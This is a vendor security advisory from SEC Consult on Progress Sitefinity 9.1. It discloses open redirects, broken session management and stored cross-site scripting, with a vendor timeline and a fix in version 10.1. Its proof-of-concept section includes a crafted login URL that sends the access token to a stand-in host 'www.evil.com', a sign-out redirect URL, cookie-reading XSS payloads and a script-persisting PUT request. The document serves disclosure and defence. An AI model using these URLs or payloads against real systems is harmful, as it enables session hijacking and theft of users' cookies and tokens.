Progress Sitefinity 9.1 XSS / Session Management / Open Redirect
Posted on 23 August 2017
SEC Consult Vulnerability Lab Security Advisory < 20170822-0 > ======================================================================= title: Multiple vulnerabilities product: Progress Sitefinity vulnerable version: 9.1 fixed version: 10.1 CVE number: - impact: High homepage: http://www.sitefinity.com | https://www.progress.com found: 2016-10-21 by: Siddhartha Tripathy & Mingshuo Li (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Progress Sitefinity is a content management and marketing analytics platform designed to maximize the agility needed to succeed in todayas rapidly changing digital marketplace. It provides developers and IT teams the tools they need to support enterprise-level digital marketing, optimizing the customer journey by delivering seamless personalized experiences across different technologies and devices. Progress is a trusted source for the digital marketing innovation needed to create transformative customer experiences that fuel business success." Source: http://www.sitefinity.com/about Business recommendation: ------------------------ SEC Consult recommends applying the provided patches by the vendor immediately. Additionally, there are strong indications for further vulnerabilities and it is highly suggested to perform a thorough security review by security professionals to lower the risk of using this product. Vulnerability overview/description: ----------------------------------- 1) Open Redirect Vulnerabilities Several scripts of Sitefinity are vulnerable to an open redirect. This vulnerability allows an attacker to redirect the victim to any site by using a manipulated link (e.g. a manipulated link in a phishing mail, forum or a guestbook). The redirection target could imitate the original site and might be used for phishing attacks or for running browser exploits to infect the victimas machine with malware. Because the server name in the manipulated link is identical to the original site, phishing attempts have a more trustworthy appearance. In the first instance of this vulnerability, the open redirect will forward an authentication token to the attacker controlled site, which can be abused by the attacker to initiate new sessions for the affected user. 2) Broken Session Management During the authentication process, Sitefinity creates an authentication token "wrap_access_token", which is further used as a GET parameter to initiate a valid session if the supplied credentials have been verified to be correct. Transporting this token as GET parameter causes unnecessary exposure of the sensitive token, as it might end up in proxy or access logs. Furthermore, this token is not tied to the session ID and can be used to generate new valid sessions for the user, even if the initial session has been terminated by the user. The token will also survive a password change (e.g. if the user suspects misuse of his account) and can still be used to initiate new sessions. During the timeframe of testing, no expiry of the token could be observed. The wrap_access_token can thus be seen as a "Kerberos golden ticket" for Sitefinity. 3) Permanent Cross-Site Scripting Multiple scripts do not properly sanitize/encode user input, which leads to permanent cross site scripting vulnerabilities. Furthermore, the web application allows users to upload HTML files, which are provided via the same domain, allowing an authenticated attacker to access arbitrary information and execute arbitrary functions of Sitefinity on behalf of other users. These vulnerabilities can be used by attackers to circumvent segregation of duties. Proof of concept: ----------------- 1a) Open Redirection with Access Token On the Sitefinity login site, the "realm" parameter will point the user to the actual location, once the user authenticates successfully. The parameter must start with the actual URL "http://www.example.com" to act as a valid destination. However, the filter can be circumvented by appending the at symbol ("%40", @) followed by an attacker controlled host name (e.g. "www.evil.com"). In this case, the original URL will be forwarded to the attacker controlled host as username. Successfully authenticating with the below URL will forward the victim to the attacker controlled host "www.evil.com" =============================================================================== http://www.example.com/Sitefinity/Authenticate/SWT?realm=http:%2f%2fwww.example .com%40www.evil.com%2f&redirect_uri=%2fsitefinity%2f&deflate=true =============================================================================== This vulnerability will not only redirect the user to arbitrary websites, but Sitefinity will also transmit the parameter "wrap_access_token" as GET parameter to the request. After successful authentication, the following request will be made to the attacker controlled host: =============================================================================== GET /sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd[...]AQ%3d%3d&wrap _access_token_expires_in=3600 HTTP/1.1 =============================================================================== The access token can be used by the attacker to create a valid session with Sitefinity for the victim user, by appending the obtained wrap_access_token to the following request: =============================================================================== http://www.example.com/sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd [...]AQ%3d%3d&wrap_access_token_expires_in=3600 =============================================================================== Furthermore, the wrap_access_token remains valid for an extended time (more than 24 hours during the test period) and can be used to create new sessions for the affected user even after the initial session was terminated by logging out or after the credentials have been changed (refer to vulnerability (2)) 1b) Open Redirection in the sign-out URL The parameter "ReturnUrl" of the sign-out function is vulnerable to open redirect. Calling the following request will redirect the victim user to an attacker controlled site after confirming the logout: =============================================================================== http://www.example.com/sitefinity/signout/selflogout?ReturnUrl=//www.evil.com =============================================================================== 2) Broken Session Management After successful authentication, the following request including the parameter access_wrap_token will be made to the Sitefinity server: =============================================================================== GET /sitefinity/?wrap_deflated=true&wrap_access_token=vZPPbtd[...]AQ%3d%3d&wrap _access_token_expires_in=3600 HTTP/1.1 =============================================================================== 3a) Permanent Cross-Site Scripting in the Content Management Template Configuration In the Sitefinity content management area, there is a text box where users can insert text/html content. The user supplied input is not properly sanitized / encoded and executed in the context of Sitefinity. A simple proof-of-concept is provided below: =============================================================================== <img alt="" src=x onerror=alert(document.cookie) /> <svg/onload=prompt(1)> =============================================================================== The following PUT request is used to persist the JavaScript/HTML code: =============================================================================== PUT /Sitefinity/Services/DynamicModules/Data.svc/00000000-0000-0000-0000-000000 000000/?itemType=Telerik.Sitefinity.DynamicTypes.Model.TemplateConfiguration.Te mplateconfiguration&providerName=OpenAccessProvider&managerType=Telerik.Sitefin ity.DynamicModules.DynamicModuleManager&provider=OpenAccessProvider&workflowOpe ration=Publish HTTP/1.1 Host: www.example.com Cookie: [...snip...] Connection: close {"Item":{"__type":"Templateconfiguration:Telerik.Sitefinity.DynamicTypes.Model. TemplateConfiguration","ApprovalWorkflowState":{"PersistedValue":"","Value":""} ,"Author":null,"AvailableLanguages":[],"DateCreated":"/Date(1475201660265)/", "Distance":0,"EmailContent":{"PersistedValue":"<img alt="" onerror="alert(1) " src="x" />","Value":""},"EmailSubject":{"PersistedValue":"","Value":""},"E xpirationDate":null,"IncludeInSitemap":"true","IsDeletable":false,"IsEditable": false,"ItemDefaultUrl":{"PersistedValue":"","Value":""},"[...snip...] =============================================================================== 3b) Permanent Cross-Site Scripting via File Upload The Sitefinity content management area provides file upload functionality to the users. A user can upload related documents to the website. The application also supports uploading of HTML files. These HTML files are later displayed in the same domain as the Sitefinity application, which allows JavaScript code embedded in the HTML file to access arbitrary information and functionality of Sitefinity users viewing this crafted HTML file. 3c) Permanent Cross-Site Scripting in the New User Creation form In the Sitefinity content management area an Administrator can create new users. In the New User Creation Page some parameters such as "Last name", "First name", and "About" are vulnerable to cross site scripting attacks. An attacker can inject malicious JavaScript payloads directly via the user interface. Vulnerable / tested versions: ----------------------------- The following version of Progress Sitefinity has been tested which was the most recent version at the time of discovery: 9.1 Vendor contact timeline: ------------------------ 2016-10-21: Contacting vendor through support, requesting encrypted communication 2016-10-25: Support team provides contact of Sitefinity Product Management 2016-10-25: Sending unencrypted advisory to Sitefinity Porduct Management as requested by vendor 2016-10-27: Vendor confirmed to "release a patch early next week" for the Open Redirect issues and XSS to be fixed in version 9.3 and 10.0. 2016-11-02: Vendor sugguested mitigation on Broken Session Management. 2017-03-14: Vendor releases version 10.0. 2017-04-26: Vendor confirmed to implement XSS sanitizer in version 10.1. 2017-04-27: Vendor confirmed Broken Session Management to be fixed in 10.0. 2017-07-10: Vendor releases version 10.1. 2017-08-22: Public release of security advisory Solution: --------- According to the vendor, all the identified issues have been fixed in version 10.1. Please update to the latest version immediately. Vendor release notes: http://www.sitefinity.com/product/version-notes Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Tripathy, M. Li / @2017
